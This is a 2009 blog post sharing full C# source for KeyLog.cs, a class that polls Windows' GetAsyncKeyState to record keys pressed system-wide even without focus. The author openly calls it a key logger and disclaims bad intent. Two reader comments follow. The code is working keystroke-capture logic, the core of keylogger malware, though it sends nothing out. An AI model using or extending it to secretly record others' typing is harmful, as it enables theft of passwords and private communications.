KeyLog.cs

Filed under C\C++\C#, General, Programming, Source code
Tagged as , , , , , , , , , , , ,

[Current version: 1.1 (15/01/09)]

Hello,

KeyLog.cs is a C# class I developed for personal use and thought about posting it here.
It is probably my first ‘useful’ post since crwld.org is running. While on my-visualbasic.net I had a lot of code and tutorials, but since I started this new website haven’t had much time or will to do and post stuff.
Anyway, KeyLog.cs was created to detect keys pressed by the user, whether the application has or not focus…yes like a Key Logger.
However this was not created with bad purposes and I hope no one uses it for bad purposes either. I created this for a small personal application I’m currently working on, which I’ll post here as soon as it’s finished.

KeyLog.cs is able to detect ShiftKey/ControlKey/CapsLock, which means it can detect upper/lower case. However, it does not detect special characters or the Alt key. This still needs to be done…it’s simple, I just didn’t feel like doing it now.
I like to keep my applications as simple as possible, so I tried to do this as simple as I could…and I think it’s pretty simple.
Note that I’ve been away from C/C# for a long time now and I don’t remember a lot of stuff, so don’t be surprised if you find any weird code part or something. Besides, I never had C# lessons or anything like that, I just do it for fun.
Also, feel free to give any suggestions or make any corrections.

So…moving on. Below you can find the source code, and the download to KeyLog.cs.
Hope this will be useful to anyone.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/* Name: KeyLog.cs
 * Version: 1.1
 * Date: 2009
 * Description:
 * Gets the key pressed by the user, whether the form has focus or not.
 * It can detect Shift/Control/CapsLock, which means it can detect upper/lower case.
 * However this version does not detect special characters or the Alt key (still to do).
 * Copyright:
 * Developed by Carlos Raposo.
 * crwld.org @ 2009
 * This work is licensed under a Creative Commons Licence.
 * Please refer to: creativecommons.org/licenses/by-nc-sa/3.0/ for more information. */
 
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
 
using System.Windows.Forms;
using System.Runtime.InteropServices;
 
public class KeyLog
{
    //-> Declare GetAsyncKeyState().
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).
 
    //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
    //-> Otherwise, returns null.
    //-> The pressed keys are returned in a List<string> as (string)char/key name.
    public List<string> getKey()
    {
        List<string> myKeys = new List<string>(); //Declare the list of keys as int.
        for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
        {
            int j = GetAsyncKeyState(i); //Get state of key i.
            if (j == -32767) //Check if key is pressed.
            {
                if (i >= 65 && i <= 122) //From char 65 to 122
                {
                    if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                    else if (ShiftKey) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else if (CapsLock) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else //Any other situation.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                }
                else if (i >= 48 && i <= 57) //From char 48 to 57
                {
                    if (ShiftKey) //If Shift is toggled.
                        myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
                    else //If Shift is not toggled.
                        myKeys.Add(((char)(i)).ToString()); //Numbers.
                }
                else
                    myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.
 
                //Check keys toggled
                if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
                    myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
                    myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
                    myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
                    myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
                    myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
                    myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
                    myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
                    myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
                    myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
            }
        }
 
        return myKeys; //Return the list.
    }
 
    //-> Get keys toogle state (on/off).
    #region Toggles
    public static bool ControlKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
    }
    public static bool ControlKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
    }
    public static bool ControlKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
    }
    public static bool ShiftKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
    }
    public static bool ShiftKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
    }
    public static bool ShiftKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
    }
    public static bool AltKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
    }
    public static bool AltKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
    }
    public static bool AltKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
    }
    public static bool CapsLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
    }
    public static bool NumLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
    }
    #endregion
}

Download: [C# 2008] KeyLog.cs 1.1 (6.5 KiB, 261 hits)

How to use it?
Just place the function provided in the code in a timer or something to be always prepared for key presses.
Or just call it when you need it.

Copyright:
Developed by Carlos Raposo.
crwld.org @ 2009
This work is licensed under a Creative Commons Licence.
Please refer to: creativecommons.org/licenses/by-nc-sa/3.0/ for more information.

p.s. From now on, I will not enable ratings anymore.
p.s.2. Happy new year!

2 Comments

  1. pown2own says:

    Hello, can you tell me how can I use the result from the logger ?
    Like showing it in a textBox or something ?
    I don’t know what I have do do with this magic “List as (string)char/key”

    thx…

  2. Buttpt says:

    Hi there,

    The function provided (‘getKey()’) returns a list of strings that contains the keys which were pressed.
    If you don’t know how to work with a generic list take a look into this link:

    http://msdn.microsoft.com/en-us/library/6sh2ey19.aspx

    It works almost as an array but it has a lot of other functions.
    Give it a try.

Post a Comment

Your email is never published nor shared. Required fields are marked *

*
*